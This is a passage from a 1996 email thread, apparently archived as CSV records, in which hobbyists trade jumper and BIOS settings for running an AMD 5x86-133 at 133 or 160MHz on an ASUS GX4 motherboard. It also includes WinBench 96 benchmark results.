are the different CPU > jumper settings. Could you note to me which I need to run the processor > at both 133Mhz and 160Mhz for our GX4 motherboards? > The same setting should allow you to run at 133 and 160- you just have to change the bus speed (from 33 to 40). Compare the settings from the beginning of this message to the differenct cpu setting from the manual. I think it's closest to the AMD486DXL4 - 2x clock- you may not have to change the jumpers much. :) There may be one jumper different- the one that enables internal write-back. Also, be warned that at 160Mhz (4x40), my GX4 boots up and says 150Mhz. Good luck. -Roman > --- > > probably no - SL Enhanced 486SX & SX2 or Non-SL 486 & SX2 > > probably no - SL Enhanced (non-SL) 486DX, DX2, 487SX & ODP; 486Dx/4 @ > 3x clock > > probably no - 486DX4 - 2.5x clock > > probably no - 486DX4 - 2x clock (BIOS reports AM486DXL4 3x) > > possibly - P24D Write-Back L1 cache > JP21 Short 2&3 - Write-Through L1 cache > > possibly - P24CT - Write-back L1 cache > JP21 Short 2&3 - Write-Through L1 cache > > possibly - P24T - Write-back L1 cache > JP21 Short 2&3 - Write-Through L1 cache > 237-pin SL ODP > > possibly 120Mhz - 486DX4 ODP (OverDrive Processor?) - 3x clock > > possibly - 486DX4 ODP (OverDrive Processor?) - 2.5 clock > > doubtful - 486DX4 ODP (OverDrive Processor?) - 2.0 clock > > doubtful - AMD486SXL, AMD486SX2L > > doubtful - AMD486DXl, AMD486DX2L > > possible 120Mhz - AMD486DXL4 - 3x clock > > This is what I - AMD486DXL4 - 2x clock > run my Dx/2 80 > at > > doubtful - Cyrix 486DX, DX2 > > doubtful - Cyrix 486DX2-V > > doubtful - Cyrix DX5 - 3x clock > > doubtful - Cyrix DX5 - 2x clock > > > ======= > > > This is the text file that came with the BIOS upgrade image. I'm > including this just in case it helps. > > ---- > > BIOS file : SV2G0401.AWD > BIOS Ver. : 0401 (#401A0-0401) > Related Mainboard : VL/I-486SV2G(X4) Rev. 2.0 or above > Related Chipset : SiS 85C471 chipset > > > Description : > > 1. To support the following CPUs : > a.) AMD 486DX4 (SV8B) : with green & L1 cache write-back. > b.) Intel 486DX4 (&EW) : with green & L1 cache write-back. > c.) Cyrix 486DX4 : with green & L1 cache write-back. > d.) Cyrix 5x86 (M1sc) : with Pentium code inside. > e.) AMD 486DX4 (NV8T) : non-green & L1 cache write-through. > > The new CPUs jumper setting as the follow : > > A) Cyrix 486DX4 P/O > Cyrix 5x86 (M1sc) > > JP16 : 1-2,5-6 (short) > JP17 : 1-2,5-6 (short) > JP18 : 1-2 (short) > JP19 : 1-2,3-4,5-6 (short) > JP20 : (none) > JP21 : (none) > JP22 : 1-2 (short) > > > B) AMD 486DX4 (SV8B) > Intel 486DX4 (&EW) > > JP16 : 1-2,4-5 (short) > JP17 : 1-2,5-6 (short) > JP18 : 1-2 (short) > JP19 : 1-2,3-4,5-6 (short) > JP20 : (none) > JP21 : 3-4 (short) > JP22 : 1-2,4-5 (short) > > C) Cyrix 486DX4 > > JP16 : 2-3,5-6 (short) > JP17 : 2-3,5-6 (short) > JP18 : 2-3 (short) > JP19 : 2-3 (short) > JP20 : 2-3 (short) > JP21 : 1-2 (short) > JP22 : 1-2 (short) > > D) AMD 486DX4 (NV8T) > AMD 486DXL4 > > JP16 : 1-2,5-6 (short) > JP17 : 4-5 (short) > JP18 : 4-5 (short) > JP19 : (none) > JP20 : 4-5 (short) > JP21 : (2-3 short : 2x CLK, 2-3 open : 3x CLK) > JP22 : 1-2, 4-5 (short) > > > --David > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > > >",0,0 John and Nellena Difilippo ,"""David A. Ranch"" ","Thu, 28 Mar 1996 17:18:29 -0800",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! (fwd),"GX4 rev 2.0 Award 4.50G version 0306 Promise EIDE 2300 Plus controller Diamond Stealth 64 Video series 2000 (2 Meg Dram) 16 Meg Ram (70 nsec) The settings I came up with are based on the AMD Enhanced 120's. The cpu's pin assignments are basically the same, the only difference seems to be what the the state of the input does to the chip. (clock multiplication and cache settings). I'm confident I've enabled L1 write back cache. These settings are still preliminary as I'm still waiting for the latest bios, but at present I'm running overclocked at 160Mhz and this $70 dollar chip is outperforming the $270 Pentium Overdrive 83 Mhz chip in every category including CPU 16 and 32 mark. (using winbench 96). I'm not sure it will last at 160Mhz, but the replacement of it won't be that expensive if it does give in. I know the next one will always work at 133Mhz. If these settings can be changed, I'm welcome to suggestions as I don't claim to have all of the answers. They are proven on my system. Bios settings: Auto Config Disabled Fast Reset Emul Enabled AT Bus Clock 1/4 CLKIN(1/5 for 160 Mhz) DRAM Speed Fastest DRAM Write WS 0WS DRAM Write CAS 1T DRAM Write Burst Enabled Slow Refresh Disabled Hidden Refresh Enabled L2 Cache Scheme Write Back L1 Cache Scheme Write Back Cache Burst Read 1T Cache Write Cycle 2T Video Shadow Non-cache Memory Hole Disabled Fast Reset Latency 2 usec Latch Local Bus T2 Local Bus Ready Transparent for 133Mhz Sychronize for 160Mhz Jumper Settings: JP5 1+2 short JP6 1+2 short JP11 2+3 short JP16 1+2, 4+5 short JP17 1+2, 5+6 short JP18 1+2 short JP19 2+3, 4+5 short JP20 1+2 short for 4x clock, All open for 3X clock JP21 3+4 short (should be write back cache), Open for write thru JP22 1+2, 4+5 short JP23, JP24, JP25 33Mhz for 133 operation, 40Mhz for 160 operation JP26 2+3 short JP28 1+2 short for 133Mhz, 2+3 short for 160Mhz JP29 1+2 short JP32 1+2 short Just let me know if this worked for you. ASUS can give me a job! difilipp@whidbey.net At 12:30 PM 3/28/96 -0800, you wrote: > >Hey John, > >I'm in the process of upgrading my BIOS and getting the 133Mhz processor >to run at 160Mhz. Here is my current thread to two other people about the >process. Once I have ALL the details, I plan on making a master GX4 >upgrade document and posting it on the ASUS newsgroup. > >Could you give the technical specs a once-over and let me know if you >dis-agree with anything? > >I greatly appreciate it and I'll talk to you soon! > > >--David > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > >---------- Forwarded message ---------- >Date: Thu, 28 Mar 1996 14:27:01 -0500 (EST) >From: Roman Shapiro >To: ""David A. Ranch"" >Subject: Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! > >Here's something I read in a post recently: > >++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >Hi >I've seen numerous requests for information on how to set the jumpers >correctly for this combination. I received two of these processors this >weekend, and managed to get them going using the following jumper >settings: > >JP16: 1-2 4-5 >JP17: 1-2 5-6 >JP18: 1-2 >JP19: 1-2 3-4 5-6 >JP20: 1-2 >JP21: 2-3 >JP22: 1-2 4-5 > >If you leave JP20 open the CPU runs in clock trebling mode instead of >clock quadrupling mode. You could experiment and try to get it to work >as a 3*50MHz system. Both CPUs ran flawlessly at both 133MHz (4*33MHz) >and 160MHz (4*40MHz). The only problem I did encounter was that QEMM >7.5 hung when it started, no matter what the speed of the CPU was. >I think it has something to do with QEMM identifying the CPU incorrectly. >Cheers >Graham Inggs >+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > > > >On Thu, 28 Mar 1996, David A. Ranch wrote: > >> >> Hey Roman, >> >> Welp, I broke down and bought a 133Mhz processor. I'm in the process of >> burning in the v401 BIOS and I would to pick your brain about what the >> jumper settings are for the GX4 motherboard. Again, thanks for the help >> and I plan on posting all my results to the ASUS newsgroup. >> >> (from you earilier) >> >> > If you have the manual, I can tell you which entry to use (like AMD >> > Enhanced). >> >> Ok, the first thing is.. this processor is called the 5x86-133. The Asus >> WWW site keeps mentioning two AMD DX4 processors: SV8B and the NV8T. >> I'm under the impression that this 133Mhz processor is neither. Can you >> clear this up for me? Ok.. for the processor stuff, check out the bottom >> of this e-mail since I'll put all the differentGx4 processor types there >> and I'll include the readme file that came with the bios upgrade just in >> case. >> >The SV8 and SV8 stuff only applied to the 80-120 Mhz processors. The 133 >has and ADZ somewhere I think. > >> > With the chip running at 4x40, I have the speed to fastest and fewest >> > wait states (I'm pretty sure). But this is something that you have to >> > tweak in the end by yourself. At 4x33, you should be able to set things >> > to max speed. >> >> Great.. I'm running an AMD Dx/2 80 5V now and I can only run it at FASTER. >> I still might not be able to get my system to run at fastest but bah.. >> thats ok. Two question(s): >> >> 1) ASUS says that you MUST run the L1 cache in >> Write-Through mode instead of the preferable Write-Back mode if >> you have a bus-mastering card like a SCSI card (which I do). >> Have you had to deal with this or it doesn't apply for your >> situation? >> >Not sure. I use write-back and have everything except for a SCSI card. > >> 2) What settings are you using for your VLBus? >> >> - VESA delay ENABLED? (ASUS default is enabled) >> - <33Mhz & 0ws (This is what I'm running now) >> or >> >33Mhz & 1ws >> >At 40Mhz, I have the VESA delay enabled. It may work without it at 33Mhz. > >> >> OK.. lastly,,from the manual as you requested, here are the different CPU >> jumper settings. Could you note to me which I need to run the processor >> at both 133Mhz and 160Mhz for our GX4 motherboards? >> > >The same setting should allow you to run at 133 and 160- you just have to >change the bus speed (from 33 to 40). Compare the settings from the >beginning of this message to the differenct cpu setting from the manual. >I think it's closest to the AMD486DXL4 - 2x clock- you may not have to >change the jumpers much. :) There may be one jumper different- the one >that enables internal write-back. > >Also, be warned that at 160Mhz (4x40), my GX4 boots up and says 150Mhz. > >Good luck. >-Roman > >> --- >> >> probably no - SL Enhanced 486SX & SX2 or Non-SL 486 & SX2 >> >> probably no - SL Enhanced (non-SL) 486DX, DX2, 487SX & ODP; 486Dx/4 @ >> 3x clock >> >> probably no - 486DX4 - 2.5x clock >> >> probably no - 486DX4 - 2x clock (BIOS reports AM486DXL4 3x) >> >> possibly - P24D Write-Back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> >> possibly - P24CT - Write-back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> >> possibly - P24T - Write-back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> 237-pin SL ODP >> >> possibly 120Mhz - 486DX4 ODP (OverDrive Processor?) - 3x clock >> >> possibly - 486DX4 ODP (OverDrive Processor?) - 2.5 clock >> >> doubtful - 486DX4 ODP (OverDrive Processor?) - 2.0 clock >> >> doubtful - AMD486SXL, AMD486SX2L >> >> doubtful - AMD486DXl, AMD486DX2L >> >> possible 120Mhz - AMD486DXL4 - 3x clock >> >> This is what I - AMD486DXL4 - 2x clock >> run my Dx/2 80 >> at >> >> doubtful - Cyrix 486DX, DX2 >> >> doubtful - Cyrix 486DX2-V >> >> doubtful - Cyrix DX5 - 3x clock >> >> doubtful - Cyrix DX5 - 2x clock >> >> >> ======= >> >> >> This is the text file that came with the BIOS upgrade image. I'm >> including this just in case it helps. >> >> ---- >> >> BIOS file : SV2G0401.AWD >> BIOS Ver. : 0401 (#401A0-0401) >> Related Mainboard : VL/I-486SV2G(X4) Rev. 2.0 or above >> Related Chipset : SiS 85C471 chipset >> >> >> Description : >> >> 1. To support the following CPUs : >> a.) AMD 486DX4 (SV8B) : with green & L1 cache write-back. >> b.) Intel 486DX4 (&EW) : with green & L1 cache write-back. >> c.) Cyrix 486DX4 : with green & L1 cache write-back. >> d.) Cyrix 5x86 (M1sc) : with Pentium code inside. >> e.) AMD 486DX4 (NV8T) : non-green & L1 cache write-through. >> >> The new CPUs jumper setting as the follow : >> >> A) Cyrix 486DX4 P/O >> Cyrix 5x86 (M1sc) >> >> JP16 : 1-2,5-6 (short) >> JP17 : 1-2,5-6 (short) >> JP18 : 1-2 (short) >> JP19 : 1-2,3-4,5-6 (short) >> JP20 : (none) >> JP21 : (none) >> JP22 : 1-2 (short) >> >> >> B) AMD 486DX4 (SV8B) >> Intel 486DX4 (&EW) >> >> JP16 : 1-2,4-5 (short) >> JP17 : 1-2,5-6 (short) >> JP18 : 1-2 (short) >> JP19 : 1-2,3-4,5-6 (short) >> JP20 : (none) >> JP21 : 3-4 (short) >> JP22 : 1-2,4-5 (short) >> >> C) Cyrix 486DX4 >> >> JP16 : 2-3,5-6 (short) >> JP17 : 2-3,5-6 (short) >> JP18 : 2-3 (short) >> JP19 : 2-3 (short) >> JP20 : 2-3 (short) >> JP21 : 1-2 (short) >> JP22 : 1-2 (short) >> >> D) AMD 486DX4 (NV8T) >> AMD 486DXL4 >> >> JP16 : 1-2,5-6 (short) >> JP17 : 4-5 (short) >> JP18 : 4-5 (short) >> JP19 : (none) >> JP20 : 4-5 (short) >> JP21 : (2-3 short : 2x CLK, 2-3 open : 3x CLK) >> JP22 : 1-2, 4-5 (short) >> >> >> --David >> +----------------------------------------------------------------------------+ >> | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | >> +---- ----+ >> +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ >> >> >> > > > John and Nellena Difilippo difilipp@whidbey.net",0,0 John and Nellena Difilippo ,"""David A. Ranch"" ","Thu, 28 Mar 1996 21:42:07 -0800",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! (fwd),"Correction to JP29 GX4 rev 2.0 Award 4.50G version 0306 Promise EIDE 2300 Plus controller Diamond Stealth 64 Video series 2000 (2 Meg Dram) 16 Meg Ram (70 nsec) The settings I came up with are based on the AMD Enhanced 120's. The cpu's pin assignments are basically the same, the only difference seems to be what the the state of the input does to the chip. (clock multiplication and cache settings). I'm confident I've enabled L1 write back cache. These settings are still preliminary as I'm still waiting for the latest bios, but at present I'm running overclocked at 160Mhz and this $70 dollar chip is outperforming the $270 Pentium Overdrive 83 Mhz chip in every category including CPU 16 and 32 mark. (using winbench 96). I'm not sure it will last at 160Mhz, but the replacement of it won't be that expensive if it does give in. I know the next one will always work at 133Mhz. If these settings can be changed, I'm welcome to suggestions as I don't claim to have all of the answers. They are proven on my system. Bios settings: Auto Config Disabled Fast Reset Emul Enabled AT Bus Clock 1/4 CLKIN(1/5 for 160 Mhz) DRAM Speed Fastest DRAM Write WS 0WS DRAM Write CAS 1T DRAM Write Burst Enabled Slow Refresh Disabled Hidden Refresh Enabled L2 Cache Scheme Write Back L1 Cache Scheme Write Back Cache Burst Read 1T Cache Write Cycle 2T Video Shadow Non-cache Memory Hole Disabled Fast Reset Latency 2 usec Latch Local Bus T2 Local Bus Ready Transparent for 133Mhz Sychronize for 160Mhz Jumper Settings: JP5 1+2 short JP6 1+2 short JP11 2+3 short JP16 1+2, 4+5 short JP17 1+2, 5+6 short JP18 1+2 short JP19 2+3, 4+5 short JP20 1+2 short for 4x clock, All open for 3X clock JP21 3+4 short (should be write back cache), Open for write thru JP22 1+2, 4+5 short JP23, JP24, JP25 33Mhz for 133 operation, 40Mhz for 160 operation JP26 2+3 short JP28 1+2 short for 133Mhz, 2+3 short for 160Mhz JP29 1+2 short for 133Mhz, 2+3 short for 160Mhz JP32 1+2 short Just let me know if this worked for you. ASUS can give me a job! difilipp@whidbey.net At 12:30 PM 3/28/96 -0800, you wrote: > >Hey John, > >I'm in the process of upgrading my BIOS and getting the 133Mhz processor >to run at 160Mhz. Here is my current thread to two other people about the >process. Once I have ALL the details, I plan on making a master GX4 >upgrade document and posting it on the ASUS newsgroup. > >Could you give the technical specs a once-over and let me know if you >dis-agree with anything? > >I greatly appreciate it and I'll talk to you soon! > > >--David > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > >---------- Forwarded message ---------- >Date: Thu, 28 Mar 1996 14:27:01 -0500 (EST) >From: Roman Shapiro >To: ""David A. Ranch"" >Subject: Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! > >Here's something I read in a post recently: > >++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >Hi >I've seen numerous requests for information on how to set the jumpers >correctly for this combination. I received two of these processors this >weekend, and managed to get them going using the following jumper >settings: > >JP16: 1-2 4-5 >JP17: 1-2 5-6 >JP18: 1-2 >JP19: 1-2 3-4 5-6 >JP20: 1-2 >JP21: 2-3 >JP22: 1-2 4-5 > >If you leave JP20 open the CPU runs in clock trebling mode instead of >clock quadrupling mode. You could experiment and try to get it to work >as a 3*50MHz system. Both CPUs ran flawlessly at both 133MHz (4*33MHz) >and 160MHz (4*40MHz). The only problem I did encounter was that QEMM >7.5 hung when it started, no matter what the speed of the CPU was. >I think it has something to do with QEMM identifying the CPU incorrectly. >Cheers >Graham Inggs >+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > > > >On Thu, 28 Mar 1996, David A. Ranch wrote: > >> >> Hey Roman, >> >> Welp, I broke down and bought a 133Mhz processor. I'm in the process of >> burning in the v401 BIOS and I would to pick your brain about what the >> jumper settings are for the GX4 motherboard. Again, thanks for the help >> and I plan on posting all my results to the ASUS newsgroup. >> >> (from you earilier) >> >> > If you have the manual, I can tell you which entry to use (like AMD >> > Enhanced). >> >> Ok, the first thing is.. this processor is called the 5x86-133. The Asus >> WWW site keeps mentioning two AMD DX4 processors: SV8B and the NV8T. >> I'm under the impression that this 133Mhz processor is neither. Can you >> clear this up for me? Ok.. for the processor stuff, check out the bottom >> of this e-mail since I'll put all the differentGx4 processor types there >> and I'll include the readme file that came with the bios upgrade just in >> case. >> >The SV8 and SV8 stuff only applied to the 80-120 Mhz processors. The 133 >has and ADZ somewhere I think. > >> > With the chip running at 4x40, I have the speed to fastest and fewest >> > wait states (I'm pretty sure). But this is something that you have to >> > tweak in the end by yourself. At 4x33, you should be able to set things >> > to max speed. >> >> Great.. I'm running an AMD Dx/2 80 5V now and I can only run it at FASTER. >> I still might not be able to get my system to run at fastest but bah.. >> thats ok. Two question(s): >> >> 1) ASUS says that you MUST run the L1 cache in >> Write-Through mode instead of the preferable Write-Back mode if >> you have a bus-mastering card like a SCSI card (which I do). >> Have you had to deal with this or it doesn't apply for your >> situation? >> >Not sure. I use write-back and have everything except for a SCSI card. > >> 2) What settings are you using for your VLBus? >> >> - VESA delay ENABLED? (ASUS default is enabled) >> - <33Mhz & 0ws (This is what I'm running now) >> or >> >33Mhz & 1ws >> >At 40Mhz, I have the VESA delay enabled. It may work without it at 33Mhz. > >> >> OK.. lastly,,from the manual as you requested, here are the different CPU >> jumper settings. Could you note to me which I need to run the processor >> at both 133Mhz and 160Mhz for our GX4 motherboards? >> > >The same setting should allow you to run at 133 and 160- you just have to >change the bus speed (from 33 to 40). Compare the settings from the >beginning of this message to the differenct cpu setting from the manual. >I think it's closest to the AMD486DXL4 - 2x clock- you may not have to >change the jumpers much. :) There may be one jumper different- the one >that enables internal write-back. > >Also, be warned that at 160Mhz (4x40), my GX4 boots up and says 150Mhz. > >Good luck. >-Roman > >> --- >> >> probably no - SL Enhanced 486SX & SX2 or Non-SL 486 & SX2 >> >> probably no - SL Enhanced (non-SL) 486DX, DX2, 487SX & ODP; 486Dx/4 @ >> 3x clock >> >> probably no - 486DX4 - 2.5x clock >> >> probably no - 486DX4 - 2x clock (BIOS reports AM486DXL4 3x) >> >> possibly - P24D Write-Back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> >> possibly - P24CT - Write-back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> >> possibly - P24T - Write-back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> 237-pin SL ODP >> >> possibly 120Mhz - 486DX4 ODP (OverDrive Processor?) - 3x clock >> >> possibly - 486DX4 ODP (OverDrive Processor?) - 2.5 clock >> >> doubtful - 486DX4 ODP (OverDrive Processor?) - 2.0 clock >> >> doubtful - AMD486SXL, AMD486SX2L >> >> doubtful - AMD486DXl, AMD486DX2L >> >> possible 120Mhz - AMD486DXL4 - 3x clock >> >> This is what I - AMD486DXL4 - 2x clock >> run my Dx/2 80 >> at >> >> doubtful - Cyrix 486DX, DX2 >> >> doubtful - Cyrix 486DX2-V >> >> doubtful - Cyrix DX5 - 3x clock >> >> doubtful - Cyrix DX5 - 2x clock >> >> >> ======= >> >> >> This is the text file that came with the BIOS upgrade image. I'm >> including this just in case it helps. >> >> ---- >> >> BIOS file : SV2G0401.AWD >> BIOS Ver. : 0401 (#401A0-0401) >> Related Mainboard : VL/I-486SV2G(X4) Rev. 2.0 or above >> Related Chipset : SiS 85C471 chipset >> >> >> Description : >> >> 1. To support the following CPUs : >> a.) AMD 486DX4 (SV8B) : with green & L1 cache write-back. >> b.) Intel 486DX4 (&EW) : with green & L1 cache write-back. >> c.) Cyrix 486DX4 : with green & L1 cache write-back. >> d.) Cyrix 5x86 (M1sc) : with Pentium code inside. >> e.) AMD 486DX4 (NV8T) : non-green & L1 cache write-through. >> >> The new CPUs jumper setting as the follow : >> >> A) Cyrix 486DX4 P/O >> Cyrix 5x86 (M1sc) >> >> JP16 : 1-2,5-6 (short) >> JP17 : 1-2,5-6 (short) >> JP18 : 1-2 (short) >> JP19 : 1-2,3-4,5-6 (short) >> JP20 : (none) >> JP21 : (none) >> JP22 : 1-2 (short) >> >> >> B) AMD 486DX4 (SV8B) >> Intel 486DX4 (&EW) >> >> JP16 : 1-2,4-5 (short) >> JP17 : 1-2,5-6 (short) >> JP18 : 1-2 (short) >> JP19 : 1-2,3-4,5-6 (short) >> JP20 : (none) >> JP21 : 3-4 (short) >> JP22 : 1-2,4-5 (short) >> >> C) Cyrix 486DX4 >> >> JP16 : 2-3,5-6 (short) >> JP17 : 2-3,5-6 (short) >> JP18 : 2-3 (short) >> JP19 : 2-3 (short) >> JP20 : 2-3 (short) >> JP21 : 1-2 (short) >> JP22 : 1-2 (short) >> >> D) AMD 486DX4 (NV8T) >> AMD 486DXL4 >> >> JP16 : 1-2,5-6 (short) >> JP17 : 4-5 (short) >> JP18 : 4-5 (short) >> JP19 : (none) >> JP20 : 4-5 (short) >> JP21 : (2-3 short : 2x CLK, 2-3 open : 3x CLK) >> JP22 : 1-2, 4-5 (short) >> >> >> --David >> +----------------------------------------------------------------------------+ >> | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | >> +---- ----+ >> +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ >> >> >> > > > John and Nellena Difilippo difilipp@whidbey.net",0,0 Graham Inggs ,dranch@ecst.csuchico.edu,"Fri, 29 Mar 1996 18:19:46 +0200",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor,"Hi David I installed two of these CPUs last weekend, one went into a system with a VLB SCSI controller and is being run at 160MHz, the other went into a system with a VLB Enhanced IDE controller and is being run at 133MHz. Both systems have ASUS GX4 motherboards. > > > 1) ASUS says that you MUST run the L1 cache in > > > Write-Through mode instead of the preferable Write-Back mode if > > > you have a bus-mastering card like a SCSI card (which I do). > > > I currently have an Adaptec 2842 Bus-mastering VLB SCSI > > > controller and I bet it will have possible problems. > > > > > > Have you had to deal with this or it doesn't apply for your > > > situation? > > > > > > (roman) > > Not sure. I use write-back and have everything except for a SCSI card. I couldn't get write-back to work with *either* system, I don't know what I did wrong there, could have been a CMOS setting or something. > > > 2) What settings are you using for your VLBus? > > > > > > - VESA delay ENABLED? (ASUS default is enabled) > > > - <33Mhz & 0ws (This is what I'm running now) > > > or > > > >33Mhz & 1ws > > > > > > > At 40Mhz, I have the VESA delay enabled. It may work without it at 33Mhz. On the 133Mhz system I have <33MHz, 0ws, and on the 160MHz system I have >33MHz, 1ws. > > Also, be warned that at 160Mhz (4x40), my GX4 boots up and says 150Mhz. Mine does the same, and for the 133MHz system it says 120MHz. We'll have to wait for BIOS 0402 (if there will be one) to fix that, I don't think its serious, I think ASUS just round off the calculated MHz value to one of the known speeds. > Also Gramm, did you upgrade your BIOS yourself? I have the 401 BIOS image > here and I'm going to burn it today but I'm not sure what format the image > is in. Is it in HEX, Object, etc? Yes, I also downloaded mine from ASUS, it is just a binary image. Just load it in as binary and dump it onto a blank 27C512. I would like to know how you get on. I am interested in comparing benchmarks. Norton SI 8, and VGABench. Also I'd like to get it running in Write Back mode. I have the data sheet for the 5x86, I'm planning on studying it and tracing out to what pins the jumpers go, and hopefully from that information we can work out the best jumper settings. I have a suspicion it can go faster. Cheers Graham Inggs",0,0 John and Nellena Difilippo ,"""David A. Ranch"" ","Fri, 29 Mar 1996 20:19:12 -0800",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! (fwd),"Changed L2 write back to write thru in cmos setup. Gots an extra 40 point in CPU 16 and 32 mark. REQUIRED DISCLOSURE Benchmark Ziff-Davis' WinBench 96 Version 1.0 CDROM Controller Unknown CDROM Controller RAM ? KB CDROM Drive Unknown CDROM Software Cache CDFS Cache CDROM Software Cache Size 1088 KB CoProcessor On-Chip Display Adapter Diamond Stealth 64 Series (Diamond GT) Display DRAM ? KB Display Driver C:\\WIN95\\SYSTEM\\DDOM95.DRV, Feb 28 10:50:50 1996, 89088 bytes, 4.02.00.241 Display Mode 1024 X 768 8 bits/pixel Display Refresh Rate 74 Hz (not verified) Display VRAM ? KB HD Controller RAM ? KB Hard Disk Unknown Hard Disk Controller Unknown OS Software Cache Unknown OS Software Cache Size ? KB, Windows: ? KB Off-Chip Processor Cache ? KB Operating System MS-DOS 7.00 Processor AMD-X5(tm) WriteBack Enabled, Clock Quadrupled Step 4 Features 1h Processor RAM 16 MB Processor Speed 160 MHz Sound Adapter Unknown Video For Windows Version 4.0 Windows Software Cache System Cache: write caching enabled Windows Software Cache Size All available RAM Windows System Windows 95 Enhanced Mode with Paging GX4 rev 2.0 Award 4.50G version 0306 Promise EIDE 2300 Plus controller Diamond Stealth 64 Video series 2000 (2 Meg Dram) 16 Meg Ram (70 nsec) WEIGHTED SUITE AMD 160 -2 UNITS CD-ROM WinMark 96 Not Run Thousand Bytes/Sec CPUmark16 173 [1] CPUmark32 180 [1] Disk WinMark 96 669 [1] Thousand Bytes/Sec Graphics WinMark 96 20.5 [1] Million Pixels/Sec TEST AMD 160 -2 UNITS CD-ROM/Mix Not Run Thousand Bytes/Sec Combined GWM 1 20.7 [1] Million Pixels/Sec Combined GWM 2 23 [1] Million Pixels/Sec Combined GWM 3 4.29 [1] Million Pixels/Sec Combined GWM 4 13.6 [1] Million Pixels/Sec Combined GWM 5 12.8 [1] Million Pixels/Sec Combined GWM 6 31 [1] Million Pixels/Sec Combined GWM 7 3.86 [1] Million Pixels/Sec Combined GWM 8 35.9 [1] Million Pixels/Sec Combined GWM 9 6.84 [1] Million Pixels/Sec Combined GWM10 13.1 [1] Million Pixels/Sec Combined GWM11 1.72 [1] Million Pixels/Sec Combined GWM12 0.625 [1] Million Pixels/Sec Combined GWM13 4.69 [1] Million Pixels/Sec Disk/Mix 669 [1] Thousand Bytes/Sec Processor/16-Bit 173 [1] Processor/32-Bit 180 [1] NOTES Legend: Best Score, Intermediate Score, Worst Score [1] The following Windows tasks were running during this test and could affect the test results: EXPLORER.EXE, KRNL386.EXE, MPREXE.EXE, MSGSRV32.EXE Correction to JP29 GX4 rev 2.0 Award 4.50G version 0306 Promise EIDE 2300 Plus controller Diamond Stealth 64 Video series 2000 (2 Meg Dram) 16 Meg Ram (70 nsec) The settings I came up with are based on the AMD Enhanced 120's. The cpu's pin assignments are basically the same, the only difference seems to be what the the state of the input does to the chip. (clock multiplication and cache settings). I'm confident I've enabled L1 write back cache. These settings are still preliminary as I'm still waiting for the latest bios, but at present I'm running overclocked at 160Mhz and this $70 dollar chip is outperforming the $270 Pentium Overdrive 83 Mhz chip in every category including CPU 16 and 32 mark. (using winbench 96). I'm not sure it will last at 160Mhz, but the replacement of it won't be that expensive if it does give in. I know the next one will always work at 133Mhz. If these settings can be changed, I'm welcome to suggestions as I don't claim to have all of the answers. They are proven on my system. Bios settings: Auto Config Disabled Fast Reset Emul Enabled AT Bus Clock 1/4 CLKIN(1/5 for 160 Mhz) DRAM Speed Fastest DRAM Write WS 0WS DRAM Write CAS 1T DRAM Write Burst Enabled Slow Refresh Disabled Hidden Refresh Enabled L2 Cache Scheme Write Back L1 Cache Scheme Write Back Cache Burst Read 1T Cache Write Cycle 2T Video Shadow Non-cache Memory Hole Disabled Fast Reset Latency 2 usec Latch Local Bus T2 Local Bus Ready Transparent for 133Mhz Sychronize for 160Mhz Jumper Settings: JP5 1+2 short JP6 1+2 short JP11 2+3 short JP16 1+2, 4+5 short JP17 1+2, 5+6 short JP18 1+2 short JP19 2+3, 4+5 short JP20 1+2 short for 4x clock, All open for 3X clock JP21 3+4 short (should be write back cache), Open for write thru JP22 1+2, 4+5 short JP23, JP24, JP25 33Mhz for 133 operation, 40Mhz for 160 operation JP26 2+3 short JP28 1+2 short for 133Mhz, 2+3 short for 160Mhz JP29 1+2 short for 133Mhz, 2+3 short for 160Mhz JP32 1+2 short Just let me know if this worked for you. ASUS can give me a job! difilipp@whidbey.net At 12:30 PM 3/28/96 -0800, you wrote: > >Hey John, > >I'm in the process of upgrading my BIOS and getting the 133Mhz processor >to run at 160Mhz. Here is my current thread to two other people about the >process. Once I have ALL the details, I plan on making a master GX4 >upgrade document and posting it on the ASUS newsgroup. > >Could you give the technical specs a once-over and let me know if you >dis-agree with anything? > >I greatly appreciate it and I'll talk to you soon! > > >--David > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > >---------- Forwarded message ---------- >Date: Thu, 28 Mar 1996 14:27:01 -0500 (EST) >From: Roman Shapiro >To: ""David A. Ranch"" >Subject: Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! > >Here's something I read in a post recently: > >++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >Hi >I've seen numerous requests for information on how to set the jumpers >correctly for this combination. I received two of these processors this >weekend, and managed to get them going using the following jumper >settings: > >JP16: 1-2 4-5 >JP17: 